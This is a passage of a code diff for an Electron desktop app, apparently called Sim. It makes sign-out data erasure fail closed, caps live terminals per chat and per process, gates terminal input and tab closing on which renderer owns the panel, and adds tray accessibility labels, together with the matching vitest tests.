APP,
async () => {
await Promise.resolve()
order.push('local')
@@ -167,18 +191,18 @@ describe('tearDownSession', () => {
}
)
expect(order).toEqual(['revoke', 'local', 'browser', 'session'])
expect(order).toEqual(['revoke', 'local', 'browser', 'session', 'cache'])
})
it('still clears the web session when the browser profile cannot be cleared', async () => {
// Sign-out must complete even if the embedded browser is in a bad state;
// failing to clear its cookies is bad, failing to sign out is worse.
it('attempts every local erasure but rejects when the browser profile survives', async () => {
const clearStorageData = vi.fn(async () => {})
const session = { clearStorageData } as unknown as Session
const clearCache = vi.fn(async () => {})
const session = { clearStorageData, clearCache } as unknown as Session
await expect(
tearDownSession(
session,
APP,
async () => {},
{ filePath: '/tmp/events.log', record: vi.fn() },
async () => {
@@ -186,19 +210,22 @@ describe('tearDownSession', () => {
},
async () => {}
)
).resolves.toBeUndefined()
).rejects.toThrow('account-data stores could not be cleared')
expect(clearStorageData).toHaveBeenCalled()
expect(clearCache).toHaveBeenCalled()
})
it('continues clearing account state when local teardown fails', async () => {
it('attempts every local erasure but rejects when account state survives', async () => {
const clearStorageData = vi.fn(async () => {})
const clearCache = vi.fn(async () => {})
const clearBrowserProfile = vi.fn(async () => {})
const session = { clearStorageData } as unknown as Session
const session = { clearStorageData, clearCache } as unknown as Session
await expect(
tearDownSession(
session,
APP,
async () => {
throw new Error('local store unavailable')
},
@@ -206,20 +233,55 @@ describe('tearDownSession', () => {
clearBrowserProfile,
async () => {}
)
).resolves.toBeUndefined()
).rejects.toThrow('account-data stores could not be cleared')
expect(clearBrowserProfile).toHaveBeenCalledOnce()
expect(clearStorageData).toHaveBeenCalledOnce()
expect(clearCache).toHaveBeenCalledOnce()
})
it('does not erase local data when the recovery marker cannot be written', async () => {
const directory = mkdtempSync(join(tmpdir(), 'sim-account-recovery-'))
const blockedParent = join(directory, 'blocked')
initializeAccountDataRecovery(join(blockedParent, 'teardown-required.json'))
writeFileSync(blockedParent, 'not a directory')
const clearHandoffState = vi.fn(async () => {})
const clearBrowserProfile = vi.fn(async () => {})
const clearStorageData = vi.fn(async () => {})
const clearCache = vi.fn(async () => {})
try {
await expect(
tearDownSession(
{ clearStorageData, clearCache } as unknown as Session,
APP,
clearHandoffState,
{ filePath: '/tmp/events.log', record: vi.fn() },
clearBrowserProfile,
async () => {}
)
).rejects.toThrow('recovery marker')
expect(clearHandoffState).not.toHaveBeenCalled()
expect(clearBrowserProfile).not.toHaveBeenCalled()
expect(clearStorageData).not.toHaveBeenCalled()
expect(clearCache).not.toHaveBeenCalled()
} finally {
initializeAccountDataRecovery(null)
await rm(directory, { recursive: true, force: true })
}
})
it('still clears local state when the server-side revoke fails', async () => {
// Offline sign-out must not strand the user signed in locally.
const clearStorageData = vi.fn(async () => {})
const session = { clearStorageData } as unknown as Session
const clearCache = vi.fn(async () => {})
const session = { clearStorageData, clearCache } as unknown as Session
await expect(
tearDownSession(
session,
APP,
async () => {},
{ filePath: '/tmp/events.log', record: vi.fn() },
async () => {},
@@ -231,6 +293,26 @@ describe('tearDownSession', () => {
expect(clearStorageData).toHaveBeenCalled()
})
it('rejects when the app cache cannot be cleared', async () => {
const session = {
clearStorageData: vi.fn(async () => {}),
clearCache: vi.fn(async () => {
throw new Error('cache busy')
}),
} as unknown as Session
await expect(
tearDownSession(
session,
APP,
async () => {},
{ filePath: '/tmp/events.log', record: vi.fn() },
async () => {},
async () => {}
)
).rejects.toThrow('account-data stores could not be cleared')
})
})
describe('revokeAppSession', () => {
@@ -292,10 +374,12 @@ describe('createSessionLifecycleCoordinator', () => {
const cookiesOn = vi.fn()
const webRequestOnCompleted = vi.fn()
const clearStorageData = vi.fn(async () => {})
const clearCache = vi.fn(async () => {})
const session = {
cookies: { on: cookiesOn },
webRequest: { onCompleted: webRequestOnCompleted },
clearStorageData,
clearCache,
fetch: vi.fn(async () => Response.json(null)),
} as unknown as Session
const first = new BrowserWindow()
@@ -333,4 +417,35 @@ describe('createSessionLifecycleCoordinator', () => {
})
expect(clearHandoffState).toHaveBeenCalledOnce()
})
it('shares one awaitable teardown and does not open login when clearing fails', async () => {
let releaseBrowserClear: (() => void) | undefined
const browserClear = new Promise<void>((resolve) => {
releaseBrowserClear = resolve
})
const win = new BrowserWindow()
const coordinator = createSessionLifecycleCoordinator({
appSession: {
cookies: { on: vi.fn() },
clearStorageData: vi.fn(async () => {
throw new Error('storage locked')
}),
clearCache: vi.fn(async () => {}),
} as unknown as Session,
origin: () => APP,
events: { filePath: '/tmp/events.log', record: vi.fn() },
clearHandoffState: vi.fn(async () => {}),
clearBrowserProfile: vi.fn(() => browserClear),
getWindows: () => [win],
})
const first = coordinator.signOut()
const second = coordinator.signOut()
expect(first).toBe(second)
await expect(coordinator.awaitTeardown(1)).resolves.toBe(false)
releaseBrowserClear?.()
await expect(first).resolves.toBe(false)
expect(win.loadURL).not.toHaveBeenCalled()
})
})
+80 -21
View File
@@ -1,6 +1,12 @@
import { createLogger } from '@sim/logger'
import { sleep } from '@sim/utils/helpers'
import type { Session, WebContents } from 'electron'
import { BrowserWindow, dialog } from 'electron'
import {
beginAccountDataTeardown,
completeAccountDataTeardown,
waitForAccountDataMutations,
} from '@/main/account-data-generation'
import { isSafeInternalPath } from '@/main/config'
import { isAuthSurfacePath, openExternalSafe } from '@/main/navigation'
import type { EventRecorder } from '@/main/observability'
@@ -10,6 +16,7 @@ const logger = createLogger('DesktopSessionLifecycle')
const SESSION_PROBE_TIMEOUT_MS = 5000
const START_ROUTE_PROBE_TIMEOUT_MS = 1500
const TEARDOWN_COOLDOWN_MS = 3000
const TEARDOWN_WAIT_TIMEOUT_MS = 5000
const CLEARED_STORAGES = [
'cookies',
@@ -251,26 +258,43 @@ export async function revokeAppSession(win: BrowserWindow, origin: string): Prom
*/
export async function tearDownSession(
session: Session,
origin: string,
clearHandoffState: () => void | Promise<void>,
events: EventRecorder,
clearBrowserProfile: () => Promise<void>,
revokeSession: () => Promise<void>
): Promise<void> {
if (!beginAccountDataTeardown('account', origin)) {
throw new Error('Could not persist account-data recovery marker.')
}
events.record('sign_out')
// Server-side first, while the partition still holds the session cookie the
// revoke needs. Every step below is best-effort for the same reason the
// browser-profile clear is: failing to clear something is bad, failing to
// sign out is worse.
// revoke needs. Revocation remains best-effort because offline sign-out must
// still erase the device, but every local erasure below is fail-closed.
await revokeSession().catch((error) => logger.error('Session revoke failed', { error }))
await Promise.resolve(clearHandoffState()).catch((error) =>
logger.error('Local account-state teardown failed', { error })
await waitForAccountDataMutations()
const failures: unknown[] = []
const clear = async (label: string, operation: () => void | Promise<void>) => {
try {
await operation()
} catch (error) {
failures.push(error)
logger.error(label, { error })
}
}
await clear('Local account-state teardown failed', clearHandoffState)
await clear('Browser profile teardown failed', clearBrowserProfile)
await clear('App partition storage teardown failed', () =>
session.clearStorageData({ storages: [...CLEARED_STORAGES] })
)
await clearBrowserProfile().catch((error) =>
logger.error('Browser profile teardown failed', { error })
)
await session
.clearStorageData({ storages: [...CLEARED_STORAGES] })
.catch((error) => logger.error('App partition teardown failed', { error }))
await clear('App partition cache teardown failed', () => session.clearCache())
if (failures.length > 0) {
throw new AggregateError(failures, 'One or more account-data stores could not be cleared.')
}
completeAccountDataTeardown()
}
export interface SessionLifecycleDeps {
@@ -290,7 +314,10 @@ export interface SessionLifecycleCoordinator {
* the in-progress guard, and its own cookie removal then trips the cookie
* watcher into a second concurrent teardown.
*/
signOut(): void
signOut(): Promise<boolean>
/** Waits for an active teardown without allowing shutdown to hang indefinitely. */
awaitTeardown(timeoutMs?: number): Promise<boolean>
isTeardownActive(): boolean
}
interface SessionLifecycleCoordinatorDeps extends SessionLifecycleDeps {
@@ -314,13 +341,17 @@ interface SessionLifecycleCoordinatorDeps extends SessionLifecycleDeps {
export function createSessionLifecycleCoordinator(
deps: SessionLifecycleCoordinatorDeps
): SessionLifecycleCoordinator {
let tearingDown = false
const runTeardown = () => {
if (tearingDown) return
tearingDown = true
let teardownPromise: Promise<boolean> | null = null
let teardownSettled = true
let lastTeardownSucceeded: boolean | null = null
const runTeardown = (): Promise<boolean> => {
if (teardownPromise) return teardownPromise
teardownSettled = false
lastTeardownSucceeded = null
logger.info('Sign-out detected; clearing partition')
void tearDownSession(
const pending = tearDownSession(
deps.appSession,
deps.origin(),
deps.clearHandoffState,
deps.events,
deps.clearBrowserProfile,
@@ -335,19 +366,39 @@ export function createSessionLifecycleCoordinator(
}
}
)
.catch((error) => logger.error('Session teardown failed', { error }))
.finally(() => {
.then(() => {
for (const win of deps.getWindows()) {
if (!win.isDestroyed()) {
void win.loadURL(`${deps.origin()}/login`).catch(() => {})
}
}
lastTeardownSucceeded = true
return true
})
.catch((error) => {
logger.error('Session teardown failed; refusing to report a clean sign-out', { error })
void dialog.showMessageBox({
type: 'error',
message: 'Sim could not finish signing out',
detail:
'Some account data could not be removed from this device. Try signing out again before another account uses the app.',
buttons: ['OK'],
})
lastTeardownSucceeded = false
return false
})
.finally(() => {
teardownSettled = true
// Re-arm after clearStorageData's own cookie-removal events have
// drained, so self-induced deletions never re-trigger teardown.
setTimeout(() => {
tearingDown = false
if (teardownPromise === pending) {
teardownPromise = null
}
}, TEARDOWN_COOLDOWN_MS)
})
teardownPromise = pending
return pending
}
// Robust backstop: when the better-auth session cookie is deleted by ANY
@@ -355,7 +406,7 @@ export function createSessionLifecycleCoordinator(
// gone with a probe — so cookie rotation can't cause a false teardown — then
// clear the partition. This closes the cross-account residue gap.
deps.appSession.cookies.on('changed', (_event, cookie, cause, removed) => {
if (tearingDown || !removed || cause === 'overwrite') {
if (teardownPromise !== null || !removed || cause === 'overwrite') {
return
}
if (!isSessionCookieName(cookie.name)) {
@@ -370,6 +421,14 @@ export function createSessionLifecycleCoordinator(
return {
signOut: runTeardown,
async awaitTeardown(timeoutMs = TEARDOWN_WAIT_TIMEOUT_MS) {
const pending = teardownPromise
if (!pending) return lastTeardownSucceeded !== false
return Promise.race([pending, sleep(timeoutMs).then(() => false)])
},
isTeardownActive() {
return teardownPromise !== null && !teardownSettled
},
attachWindow(win) {
const onNavigation = (url: string) => {
if (isLogoutNavigation(url, deps.origin())) {
+47 -1
View File
@@ -82,6 +82,9 @@ const CWD_POLL_MS = 1_000
/** Cmd-Shift-T history; independent of how many terminals may be open. */
const MAX_RECENTLY_CLOSED_TERMINALS = 10
/** A single chat cannot monopolize the process with native PTYs. */
export const MAX_TERMINALS_PER_SCOPE = 16
/** Pause between keys sent to a tmux pane, matching the pty keystroke gap. */
const TMUX_KEY_GAP_MS = 150
@@ -130,7 +133,7 @@ function requestedKeys(args: TerminalToolArgs): TerminalControlKey[] {
const EMPTY_TABS: TerminalTabsState = { tabs: [], activeTerminalId: null }
class TerminalError extends Error {
export class TerminalError extends Error {
constructor(
readonly code: TerminalErrorCode,
message: string
@@ -155,6 +158,7 @@ export interface TerminalServiceOptions {
* to the home directory.
*/
loadCwd?(): string | undefined
canSpawn?(): boolean
}
export class TerminalService {
@@ -612,6 +616,36 @@ export class TerminalService {
}
}
/** Captures live renderer claims before the registry replaces this service. */
getPanelOwners(): { focused: WebContents | null; visible: WebContents | null } {
return {
focused: this.focusOwner && !this.focusOwner.isDestroyed() ? this.focusOwner : null,
visible: this.visibleOwner && !this.visibleOwner.isDestroyed() ? this.visibleOwner : null,
}
}
/**
* Whether this renderer owns the visible active terminal.
*
* IPC validates recent trusted input separately. Keeping ownership checks
* beside terminal state prevents a stale renderer from targeting a hidden
* tab or a terminal displayed by another window.
*/
acceptsUserInput(owner: WebContents, terminalId: string): boolean {
return (
!owner.isDestroyed() &&
this.focusOwner === owner &&
this.visibleOwner === owner &&
this.activeId === terminalId &&
this.sessions.has(terminalId)
)
}
/** Whether one renderer may close a tab in the terminal panel it displays. */
acceptsUserClose(owner: WebContents, terminalId: string): boolean {
return !owner.isDestroyed() && this.visibleOwner === owner && this.sessions.has(terminalId)
}
/** Drops the claim and unsubscribes from the owner's lifecycle. */
private releaseFocusOwner(): void {
this.releaseFocusListeners?.()
@@ -1092,6 +1126,18 @@ export class TerminalService {
rows: number,
options: { activateVisible: boolean; activateAgent: boolean }
): TerminalSession {
if (this.sessions.size >= MAX_TERMINALS_PER_SCOPE) {
throw new TerminalError(
'RESOURCE_LIMIT',
`A task can have at most ${MAX_TERMINALS_PER_SCOPE} live terminals.`
)
}
if (this.options.canSpawn && !this.options.canSpawn()) {
throw new TerminalError(
'RESOURCE_LIMIT',
'Sim can have at most 48 live terminals. Close a terminal before opening another.'
)
}
const terminalId = String(this.nextId++)
try {
const session = TerminalSession.create({
+196 -2
View File
@@ -9,6 +9,7 @@ interface StubSessionControl {
terminalId: string
cwd: string
disposed: boolean
writes: string[]
emitData(data: string): void
emitCommand(event: TerminalCommandEvent): void
}
@@ -20,7 +21,8 @@ interface StubSessionCallbacks {
onExit(terminalId: string): void
}
const { stubSessions } = vi.hoisted(() => ({
const { createControl, stubSessions } = vi.hoisted(() => ({
createControl: { calls: 0, failAt: null as number | null },
stubSessions: [] as StubSessionControl[],
}))
@@ -40,10 +42,15 @@ vi.mock('@/main/terminal/session', () => ({
rows: number
callbacks: StubSessionCallbacks
}) => {
createControl.calls += 1
if (createControl.calls === createControl.failAt) {
throw new Error('PTY spawn failed')
}
const control: StubSessionControl = {
terminalId,
cwd,
disposed: false,
writes: [],
emitData: (data) => callbacks.onData(terminalId, data),
emitCommand: (event) => callbacks.onCommand(event),
}
@@ -66,7 +73,7 @@ vi.mock('@/main/terminal/session', () => ({
dispose: () => {
control.disposed = true
},
write: vi.fn(),
write: vi.fn((data: string) => control.writes.push(data)),
resize: vi.fn(),
tabState: (active: boolean) => ({
terminalId,
@@ -103,6 +110,8 @@ function sink(): ScopedTerminalSink {
describe('TerminalRegistry', () => {
beforeEach(() => {
createControl.calls = 0
createControl.failAt = null
stubSessions.length = 0
})
@@ -236,6 +245,140 @@ describe('TerminalRegistry', () => {
terminals.dispose()
})
it('rolls back a partial restore before retrying the complete descriptor', () => {
const persistedTabs = [{ cwd: tmpdir() }, { cwd: process.cwd() }, { cwd: tmpdir() }]
const persistence: TerminalScopePersistence = {
load: vi.fn(() => ({ v: 1 as const, tabs: persistedTabs, activeIndex: 1 })),
save: vi.fn(() => true),
migrate: vi.fn(() => true),
disposeScope: vi.fn(),
}
const terminals = new TerminalRegistry(persistence)
const events = sink()
const owner = {
isDestroyed: () => false,
once: vi.fn(),
on: vi.fn(),
removeListener: vi.fn(),
send: vi.fn(),
}
terminals.setSink(events)
terminals.setPanelVisible('chat-A', true, owner as never)
terminals.setPanelFocused('chat-A', true, owner as never)
createControl.failAt = 2
expect(() => terminals.start('chat-A', { cols: 120, rows: 40 })).toThrow('PTY spawn failed')
expect(stubSessions).toHaveLength(1)
expect(stubSessions[0].disposed).toBe(true)
expect(terminals.peekTabs('chat-A')).toEqual({ tabs: [], activeTerminalId: null })
expect(persistence.save).not.toHaveBeenCalled()
expect(events.tabs).not.toHaveBeenCalled()
createControl.failAt = null
const restored = terminals.start('chat-A', { cols: 120, rows: 40 })
expect(restored.tabs.map(({ cwd }) => cwd)).toEqual(persistedTabs.map(({ cwd }) => cwd))
expect(restored.activeTerminalId).toBe('2')
expect(stubSessions.filter(({ disposed }) => !disposed)).toHaveLength(3)
expect(
stubSessions.filter(({ disposed }) => !disposed).map(({ terminalId }) => terminalId)
).toEqual(['1', '2', '3'])
expect(persistence.save).toHaveBeenCalledOnce()
expect(events.tabs).toHaveBeenCalledOnce()
expect(events.tabs).toHaveBeenCalledWith('chat-A', restored)
const activeTerminalId = restored.activeTerminalId as string
expect(terminals.writeUserInput('chat-A', activeTerminalId, 'a', owner as never)).toBe(true)
expect(terminals.handleFocusedShortcut({ webContents: owner } as never, 'zoom-in')).toBe(true)
expect(owner.send).toHaveBeenCalledWith(
'terminal:shortcut-command',
'zoom-in',
'chat-A',
activeTerminalId
)
expect(terminals.closeUserTerminal('chat-A', '1', owner as never).tabs).toHaveLength(2)
terminals.dispose()
})
it('bounds a corrupt oversized restore while retaining its selected tab', () => {
const persistedTabs = Array.from({ length: 20 }, (_, index) => ({
cwd: index % 2 === 0 ? tmpdir() : process.cwd(),
}))
const persistence: TerminalScopePersistence = {
load: vi.fn(() => ({
v: 1 as const,
tabs: persistedTabs,
activeIndex: 19,
})),
save: vi.fn(() => true),
migrate: vi.fn(() => true),
disposeScope: vi.fn(),
}
const terminals = new TerminalRegistry(persistence)
const restored = terminals.start('chat-A', { cols: 120, rows: 40 })
expect(restored.tabs).toHaveLength(16)
expect(restored.activeTerminalId).toBe('16')
expect(stubSessions.map(({ cwd }) => cwd)).toEqual([
...persistedTabs.slice(0, 15).map(({ cwd }) => cwd),
persistedTabs[19].cwd,
])
expect(persistence.save).toHaveBeenLastCalledWith('chat-A', {
v: 1,
tabs: [...persistedTabs.slice(0, 15), persistedTabs[19]],
activeIndex: 15,
})
})
it('enforces the process-wide terminal ceiling without evicting live scopes', () => {
const terminals = registry()
for (let index = 0; index < 48; index++) {
terminals.start(`chat-${index}`, { cols: 80, rows: 24 })
}
expect(() => terminals.start('chat-overflow', { cols: 80, rows: 24 })).toThrow(
expect.objectContaining({ code: 'RESOURCE_LIMIT' })
)
expect(stubSessions).toHaveLength(48)
expect(stubSessions.every((session) => !session.disposed)).toBe(true)
})
it('does not truncate a saved terminal session while the process budget is occupied', () => {
const persistedTabs = [{ cwd: tmpdir() }, { cwd: process.cwd() }, { cwd: tmpdir() }]
const persistence: TerminalScopePersistence = {
load: vi.fn((scope) =>
scope === 'chat-pending-restore'
? { v: 1 as const, tabs: persistedTabs, activeIndex: 1 }
: undefined
),
save: vi.fn(() => true),
migrate: vi.fn(() => true),
disposeScope: vi.fn(),
}
const terminals = new TerminalRegistry(persistence)
for (let index = 0; index < 46; index++) {
terminals.start(`chat-live-${index}`, { cols: 80, rows: 24 })
}
expect(() => terminals.start('chat-pending-restore', { cols: 80, rows: 24 })).toThrow(
expect.objectContaining({ code: 'RESOURCE_LIMIT' })
)
expect(persistence.save).not.toHaveBeenCalledWith('chat-pending-restore', expect.anything())
terminals.disposeScope('chat-live-0')
const restored = terminals.start('chat-pending-restore', { cols: 80, rows: 24 })
expect(restored.tabs.map(({ cwd }) => cwd)).toEqual(persistedTabs.map(({ cwd }) => cwd))
expect(restored.activeTerminalId).toBe('2')
expect(persistence.save).toHaveBeenCalledWith('chat-pending-restore', {
v: 1,
tabs: persistedTabs,
activeIndex: 1,
})
})
it('opens a fallback shell for a saved tab whose directory no longer exists', () => {
const missingCwd = '/definitely-does-not-exist/sim-terminal-restored-tab'
const persistence: TerminalScopePersistence = {
@@ -399,4 +542,55 @@ describe('TerminalRegistry', () => {
terminals.setPanelFocused('chat-B', false, contents as never)
expect(terminals.handleFocusedShortcut(ownerWindow as never, 'reload-or-clear')).toBe(false)
})
it('writes user input only for the visible focused owner and active terminal', () => {
const terminals = registry()
const first = terminals.start('chat-A', { cols: 80, rows: 24 }).activeTerminalId as string
const second = terminals.openTerminal('chat-A').activeTerminalId as string
terminals.start('chat-B', { cols: 80, rows: 24 })
const owner = {
isDestroyed: () => false,
once: vi.fn(),
on: vi.fn(),
removeListener: vi.fn(),
}
const other = { ...owner, once: vi.fn(), on: vi.fn(), removeListener: vi.fn() }
terminals.setPanelFocused('chat-A', true, owner as never)
terminals.setPanelVisible('chat-A', true, owner as never)
expect(terminals.writeUserInput('chat-A', second, 'a', other as never)).toBe(false)
expect(terminals.writeUserInput('chat-A', first, 'a', owner as never)).toBe(false)
expect(terminals.writeUserInput('chat-B', '1', 'a', owner as never)).toBe(false)
expect(stubSessions.every((session) => session.writes.length === 0)).toBe(true)
expect(terminals.writeUserInput('chat-A', second, 'a', owner as never)).toBe(true)
const activeSession = stubSessions.find((session) => session.terminalId === second)
expect(activeSession?.writes).toEqual(['a'])
})
it('closes tabs only for the renderer displaying their terminal scope', () => {
const terminals = registry()
const first = terminals.start('chat-A', { cols: 80, rows: 24 }).activeTerminalId as string
const second = terminals.openTerminal('chat-A').activeTerminalId as string
const owner = {
isDestroyed: () => false,
once: vi.fn(),
on: vi.fn(),
removeListener: vi.fn(),
}
const other = { ...owner, once: vi.fn(), on: vi.fn(), removeListener: vi.fn() }
expect(terminals.closeUserTerminal('chat-A', first, owner as never).tabs).toHaveLength(2)
terminals.setPanelVisible('chat-A', true, owner as never)
expect(terminals.closeUserTerminal('chat-A', first, other as never).tabs).toHaveLength(2)
expect(terminals.closeUserTerminal('chat-B', '1', owner as never)).toEqual({
tabs: [],
activeTerminalId: null,
})
const closed = terminals.closeUserTerminal('chat-A', first, owner as never)
expect(closed.tabs).toHaveLength(1)
expect(closed.activeTerminalId).toBe(second)
})
})
+109 -13
View File
@@ -11,7 +11,16 @@ import {
import { type BrowserWindow, dialog, type WebContents } from 'electron'
import type { TerminalSessionSnapshot } from '@/main/desktop-chat-session-store'
import type { FocusedResourceShortcut } from '@/main/resource-shortcuts'
import { TerminalService, type TerminalServiceOptions, type TerminalSink } from '@/main/terminal'
import {
MAX_TERMINALS_PER_SCOPE,
TerminalError,
TerminalService,
type TerminalServiceOptions,
type TerminalSink,
} from '@/main/terminal'
/** Native PTYs and their headless xterm buffers are process-wide resources. */
export const MAX_TERMINALS_PER_PROCESS = 48
/** Live terminal events tagged with the chat scope that owns their service. */
export interface ScopedTerminalSink {
@@ -54,6 +63,28 @@ function restorableCwd(cwd: string): string | undefined {
}
}
/**
* Bounds a saved descriptor while retaining the selected tab when it falls
* beyond the ordered prefix. The selected tab replaces the final retained
* entry, preserving relative order for every other survivor.
*/
function boundSnapshot(
snapshot: TerminalSessionSnapshot | undefined
): TerminalSessionSnapshot | undefined {
if (!snapshot) return undefined
if (snapshot.tabs.length <= MAX_TERMINALS_PER_SCOPE) return snapshot
const activeIndex = Math.min(Math.max(0, snapshot.activeIndex), snapshot.tabs.length - 1)
const tabs = snapshot.tabs.slice(0, MAX_TERMINALS_PER_SCOPE)
if (activeIndex >= MAX_TERMINALS_PER_SCOPE) {
tabs[MAX_TERMINALS_PER_SCOPE - 1] = snapshot.tabs[activeIndex]
}
return {
v: 1,
tabs,
activeIndex: activeIndex < MAX_TERMINALS_PER_SCOPE ? activeIndex : MAX_TERMINALS_PER_SCOPE - 1,
}
}
/**
* Owns one independent terminal service per chat scope.
*
@@ -132,11 +163,28 @@ export class TerminalRegistry {
return this.serviceFor(scope).closeTerminal(terminalId)
}
/** Closes a tab only from the renderer that currently displays its scope. */
closeUserTerminal(scope: string, terminalId: string, owner: WebContents): TerminalTabsState {
if (this.suspendedScopes.has(scope)) return { tabs: [], activeTerminalId: null }
const service = this.entries.get(scope)?.service
if (!service?.acceptsUserClose(owner, terminalId)) return this.peekTabs(scope)
return service.closeTerminal(terminalId)
}
write(scope: string, terminalId: string, data: string): void {
if (this.suspendedScopes.has(scope)) return
this.serviceFor(scope).write(terminalId, data)
}
/** Applies user input only to the visible active tab owned by its renderer. */
writeUserInput(scope: string, terminalId: string, data: string, owner: WebContents): boolean {
if (this.suspendedScopes.has(scope)) return false
const service = this.entries.get(scope)?.service
if (!service?.acceptsUserInput(owner, terminalId)) return false
service.write(terminalId, data)
return true
}
resize(scope: string, terminalId: string, cols: number, rows: number): void {
if (this.suspendedScopes.has(scope)) return
this.serviceFor(scope).resize(terminalId, cols, rows)
@@ -321,12 +369,12 @@ export class TerminalRegistry {
const existing = this.entries.get(scope)
if (existing) return existing
const persisted = this.persistence?.load(scope)
const rememberedCwd = persisted?.tabs[0]?.cwd
const persisted = boundSnapshot(this.persistence?.load(scope))
const entry: TerminalRegistryEntry = {
scope,
service: this.serviceFactory(scope, {
loadCwd: () => rememberedCwd,
loadCwd: () => this.entries.get(scope)?.persisted?.tabs[0]?.cwd,
canSpawn: () => this.liveTerminalCount() < MAX_TERMINALS_PER_PROCESS,
}),
persisted,
restoreApplied: false,
@@ -348,6 +396,15 @@ export class TerminalRegistry {
): TerminalTabsState {
if (entry.restoreApplied) return entry.service.start(options)
const requiredSlots = entry.persisted?.tabs.length ?? 1
const availableSlots = Math.max(0, MAX_TERMINALS_PER_PROCESS - this.liveTerminalCount())
if (requiredSlots > availableSlots) {
throw new TerminalError(
'RESOURCE_LIMIT',
`Sim can have at most ${MAX_TERMINALS_PER_PROCESS} live terminals. Close a terminal before opening another.`
)
}
entry.restoreApplied = true
entry.restoring = true
let tabs: TerminalTabsState
@@ -358,16 +415,42 @@ export class TerminalRegistry {
for (const tab of persisted.tabs.slice(1)) {
entry.service.restoreTerminal(restorableCwd(tab.cwd))
}
const restored = entry.service.getTabs()
const active = restored.tabs[persisted.activeIndex]
const restoredState = entry.service.getTabs()
const active = restoredState.tabs[persisted.activeIndex]
if (active) entry.service.restoreActiveTerminal(active.terminalId)
}
tabs = entry.service.getTabs()
} catch (error) {
const owners = entry.service.getPanelOwners()
entry.service.setSink(null)
entry.service.dispose()
let replacement: TerminalService
try {
replacement = this.serviceFactory(entry.scope, {
loadCwd: () => entry.persisted?.tabs[0]?.cwd,
canSpawn: () => this.liveTerminalCount() < MAX_TERMINALS_PER_PROCESS,
})
} catch {
this.entries.delete(entry.scope)
throw error
}
entry.service = replacement
try {
entry.restoreApplied = false
this.bindSink(entry)
if (owners.visible) entry.service.setPanelVisible(true, owners.visible)
if (owners.focused) entry.service.setPanelFocused(true, owners.focused)
} catch {
entry.service.setSink(null)
entry.service.dispose()
this.entries.delete(entry.scope)
}
throw error
} finally {
entry.restoring = false
entry.persisted = undefined
}
this.persistTabs(entry, tabs)
entry.persisted = undefined
this.publishTabs(entry, tabs)
return tabs
}
@@ -382,16 +465,23 @@ export class TerminalRegistry {
}
const sink: TerminalSink = {
data: (terminalId, data) => this.sink?.data(entry.scope, terminalId, data),
tabs: (state) => {
this.persistTabs(entry, state)
this.sink?.tabs(entry.scope, state)
data: (terminalId, data) => {
if (!entry.restoring) this.sink?.data(entry.scope, terminalId, data)
},
tabs: (state) => this.publishTabs(entry, state),
command: (event) => {
if (!entry.restoring) this.sink?.command(entry.scope, event)
},
command: (event) => this.sink?.command(entry.scope, event),
}
entry.service.setSink(sink)
}
private publishTabs(entry: TerminalRegistryEntry, state: TerminalTabsState): void {
if (entry.restoring) return
this.persistTabs(entry, state)
this.sink?.tabs(entry.scope, state)
}
private persistEntry(entry: TerminalRegistryEntry): boolean {
return this.persistTabs(entry, entry.service.getTabs())
}
@@ -408,4 +498,10 @@ export class TerminalRegistry {
)
return this.persistence.save(entry.scope, { v: 1, tabs, activeIndex })
}
private liveTerminalCount(): number {
let count = 0
for (const entry of this.entries.values()) count += entry.service.getTabs().tabs.length
return count
}
}
@@ -397,6 +397,20 @@ describe('focus-gated shortcuts', () => {
).toBe('/alpha')
})
it('fails cleanly instead of opening a seventeenth terminal', () => {
const terminal = service()
terminal.start({ cols: 80, rows: 24 })
while (terminal.getTabs().tabs.length < 16) terminal.openTerminal()
expect(() => terminal.openTerminal()).toThrow(
expect.objectContaining({
code: 'RESOURCE_LIMIT',
message: 'A task can have at most 16 live terminals.',
})
)
expect(terminal.getTabs().tabs).toHaveLength(16)
})
it('ignores a blur reported by a renderer that does not hold the claim', () => {
// Every renderer reports its own blur, so a second window switching away
// from its terminal sends `false` from a WebContents that never claimed.
+3
View File
@@ -179,6 +179,9 @@ describe('buildTrayMenuTemplate', () => {
const seen = template.find((item) => item.label === 'Seen')
expect(working?.icon).toBeDefined()
expect(fresh?.icon).toBeDefined()
expect(working?.accessibilityLabel).toBe('Working, running')
expect(fresh?.accessibilityLabel).toBe('Fresh, unread')
expect(seen?.accessibilityLabel).toBe('Seen')
// Active (yellow) and unread (green) use distinct images; read chats get none.
expect(working?.icon).not.toBe(fresh?.icon)
expect(seen?.icon).toBeUndefined()
+5 -1
View File
@@ -336,8 +336,12 @@ export interface TrayDeps {
function chatMenuItem(chat: RecentChat, deps: TrayDeps): MenuItemConstructorOptions {
const icon = statusDotImage(chat.status)
const statusLabel =
chat.status === 'active' ? 'running' : chat.status === 'unread' ? 'unread' : ''
const label = truncate(chat.title, 57, '…')
return {
label: truncate(chat.title, 57, '…'),
label,
accessibilityLabel: statusLabel ? `${label}, ${statusLabel}` : label,
...(icon ? { icon } : {}),
click: () => deps.openMainWindow(chatRoute(chat)),
}
+330 -14
View File
@@ -3,8 +3,15 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
vi.mock('electron', () => import('@/test/electron-mock'))
let updaterChannel = ''
const autoUpdaterMock = {
channel: '',
get channel() {
return updaterChannel
},
set channel(value: string) {
updaterChannel = value
this.allowDowngrade = true
},
allowDowngrade: false,
autoDownload: true,
autoInstallOnAppQuit: false,
@@ -12,7 +19,7 @@ const autoUpdaterMock = {
logger: null as unknown,
on: vi.fn(),
setFeedURL: vi.fn(),
checkForUpdates: vi.fn(() => Promise.resolve(null)),
checkForUpdates: vi.fn<() => Promise<null>>(),
downloadUpdate: vi.fn(() => Promise.resolve([])),
quitAndInstall: vi.fn(),
}
@@ -25,6 +32,7 @@ import {
isDowngrade,
isNewerVersion,
parseSemver,
readUpdateManifest,
resolveUpdateChannel,
type UpdaterHandle,
updateCheckIntervalMs,
@@ -149,6 +157,7 @@ describe('initUpdater state machine', () => {
autoDownload?: boolean
feedAvailable?: boolean | 'no-release'
probeOriginFeed?: (feedUrl: string) => Promise<boolean | 'no-release'>
beforeInstall?: () => Promise<void>
}) {
const states: DesktopUpdateState[] = []
const handle = initUpdater({
@@ -161,6 +170,8 @@ describe('initUpdater state machine', () => {
autoUpdaterMock as unknown as typeof import('electron-updater')['autoUpdater'],
probeOriginFeed: options?.probeOriginFeed ?? (async () => options?.feedAvailable ?? false),
canSelfUpdate: async () => true,
platform: 'darwin',
beforeInstall: options?.beforeInstall,
})
// Engine selection (signature detection) resolves asynchronously.
